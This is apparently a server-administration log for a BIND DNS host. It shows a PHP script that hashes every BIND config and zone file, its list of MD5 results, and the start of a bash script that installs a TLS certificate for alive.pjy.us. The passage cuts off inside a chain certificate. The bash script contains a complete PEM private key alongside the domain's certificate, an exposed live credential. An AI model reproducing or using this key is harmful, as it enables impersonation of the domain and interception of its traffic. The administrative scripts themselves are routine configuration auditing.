MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-12-31 19:39:10: Establishing a connection
2025-12-31 19:39:19: Establishing a connection
2025-12-31 19:39:19: 

PUT: /tmp/pkp539197

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-12-31 19:39:19: 

runuser -l bind -s /bin/bash -c '/tmp/pkp539197; rm /tmp/pkp539197'

2025-12-31 19:39:19: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-12-31 19:39:22: Establishing a connection
2025-12-31 19:39:23: 

PUT: /tmp/pkp380562

#!/bin/bash
temp_file=$(mktemp)
TARGET=1ab41bf0e070e7b006d494c7605f9dcb

cat > $temp_file <<'endmsg'


-----BEGIN CERTIFICATE-----
MIIE/TCCA+WgAwIBAgISBqRCuV/kHaUQNs8n6autgKlVMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjMxMDUwMjU3WhcNMjYwMzMxMDUwMjU2WjAXMRUwEwYDVQQD
EwxhbGl2ZS5wankudXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCr
k06yk15M4nC54vkjsllAlTL312Bo0rZRwcXo7qe7XDMboSHbAhfYrihCAnAryV7R
xmM3h5OAw8uKclOTVOHpl7vbqQUxjW880W5Sw8ueMXPwc4pLA/JcCi06Wnshfhxq
10cKMQK/2Yo+8x3gF/YyP4EOs4wUDATttNLYockFPaV82zB0nTMK6UKoLcGzxNZo
UVzyX+aGd1oV4X8NAZ1kTuFdgV1GHsytlbg76ogtkQo0oli6P8XuVQWGhH/+SCs9
NDsu/6x++ZFDhKveSNvBplFPh4p1SXjDfq4kaGqqdHLpQXNmhFOLC+lb4/uC3E6R
68fXDyUTMACqMEz8Qk3RAgMBAAGjggIlMIICITAOBgNVHQ8BAf8EBAMCBaAwHQYD
VR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0O
BBYEFBGY4UR8oCe1mRDshLOP7tBJcYPXMB8GA1UdIwQYMBaAFOernw8sM6BT015P
eMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3Ix
My5pLmxlbmNyLm9yZy8wFwYDVR0RBBAwDoIMYWxpdmUucGp5LnVzMBMGA1UdIAQM
MAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5j
ci5vcmcvODYuY3JsMIIBDQYKKwYBBAHWeQIEAgSB/gSB+wD5AHcADleUvPOuqT4z
GyyZB7P3kN+bwj1xMiXdIaklrGHFTiEAAAGbcv86hwAABAMASDBGAiEA9HJ+HVrY
dV5orry0OBpxH9GTnBNrA8tR3qgUeyGG4MwCIQDOMjtEVWACq+305ryIeCqn5qkb
iEliHLSmbMaD5l/AFQB+AHF+lfPCOIptseOEST0x4VqpYgh2LUIA4AUM0Ge1pmHi
AAABm3L/OywACAAABQAFotjFBAMARzBFAiAWg9uifZtZoWXfJAcmoCr//ZFKs9aj
KtetPXqF5sugKwIhAOfK/KXoaGtttXjuWuT26NzNBazIwpO0qAv1x3nhdAdnMA0G
CSqGSIb3DQEBCwUAA4IBAQCUp3Ltgf9rfcj9BKt2aBH3hEjja1FwN2XMsAs/bBKX
kYp1llsnBjNJ4PNn2ZYYnZun4ndQJMJTWJCxKDPGcR3QOMXPm+DXxAwAn3aOV5bm
z/ksL/59o5w2yfrSoeDec5ddG/cKkX/6zas1WXKN5ykCERtFiEzBumymb6B+jU9c
gUYq3Dpkrc51xll0dvH2y26+kPWgSyuh2oucr03UeBQFUtTepO9MCY+Wsaq67Qfq
W2O2tBhXcIOb3l3xIAo6n3lSPCLGEo+FPTro0ob3Y9d7qh8DdFEo4otE3JmOxRTo
JDevasbMR/j+9bWm2jUeGh0RSFM2KGmlafNidXMv65g2
-----END CERTIFICATE-----


-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQCrk06yk15M4nC5
4vkjsllAlTL312Bo0rZRwcXo7qe7XDMboSHbAhfYrihCAnAryV7RxmM3h5OAw8uK
clOTVOHpl7vbqQUxjW880W5Sw8ueMXPwc4pLA/JcCi06Wnshfhxq10cKMQK/2Yo+
8x3gF/YyP4EOs4wUDATttNLYockFPaV82zB0nTMK6UKoLcGzxNZoUVzyX+aGd1oV
4X8NAZ1kTuFdgV1GHsytlbg76ogtkQo0oli6P8XuVQWGhH/+SCs9NDsu/6x++ZFD
hKveSNvBplFPh4p1SXjDfq4kaGqqdHLpQXNmhFOLC+lb4/uC3E6R68fXDyUTMACq
MEz8Qk3RAgMBAAECggEAM1e//5E48WH7oKyqqEN5EOn02BSj3Ypck6ecTUGJgPgs
tRJpWqvMLgOjuWkYXwoB7V1kGFxiR/CPaq0elGKcvfWxeiCglL0Bsh3r2SmNN5gN
3UD9+8fBEUjcUu97lEC0SUaFlCepbnavN3oyEPqqqku1l4wkGWWlXeq0A66aRI45
9z1L7B1NyniGBU8odG9QWLT8a5Wqr+gwh2uJN76XGEDlKUYjTIPS7ciCIpqQl7L2
lQBD0iVbwHZOGDFC04CJ2IUuRyzTx1Umq2q3TIcLYpO39QbRVxH7STrF2dzlGJuK
wTjl03zeSa7gjWbcds0CAUoWN9w3MGrsBPKBhXFPPwKBgQDa/yNhlUZ/C+lo6lpT
rZ9kM1+Idhm6EVIjaKp2J85AfwystEL5Qnfp4RlGaE3Vjh9IPu9WmDScNDcN7NgU
lnDQqCY/ePlwlLgHAll5bN/nmDiOQYoEPZo9kpvKPpoCwPGG4/WeC2eW7A/T4yzD
HiWEr4ZtNAMMlv7mDAqWXRETVwKBgQDIkO3uvm19RZ8jBRbpy/TdFSX6M+rE4Gh6
vIn9BPm7xVlsLqdd0ytasBbCKCNKXfk1+Up9okk4kj6D+MpK2matbQnfvuLnuVhg
ktpY0ucPEfav1itxIzFWhbon0EjFQ8MP/ICuHk5jk1G2UgoDp6cvg/pwUCNtob0r
aAbjRbFXFwKBgQCE7YEoZleYHj7bdATH7gdl5tkCF82d542X+JwfhCHpfDTRT8mn
SvVGfV++IOm9yrqqO6lDQrgMaJVSWoT+WiK4RJiSxneCIoNhncd5sOBnzznk/1sr
H8lTvn3Z0Q3ixgLVAeHAwONr9HXXA3nUJaRYWcKa3otLRQwLzxtOEcefmQKBgQCL
wcm6OgGLcE8ilPJReeingYwUG8c05vaGyAgTQjtO54aXRq8jRvmH2PoS0us8b90v
CgYpI0OIYwei6GL149f2cuuVeKseM13s9Yemq1eMfcT64+8jiBViKA7+nTmIE97B
rf5w1fdjlY0z0VjfER0DlCCX0I/PXgu2Sme6SJ75gwKBgQDWZR2Fa4C0fyASXW6f
UgfW9HXHdN5q3sv4WFqPvArKTHJlx3B6LvOL2yZLGW1rnnI8tPiZw8LOYYYzmfpV
miWSHTy8XKJMtWJY/dG+YV2G+gbNVqeKd1kEKeYl6evAfZhcBlUHKqn1vPPPkKAz
+ilf+BPfiIWUFBp6ZA92v4qhXw==
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
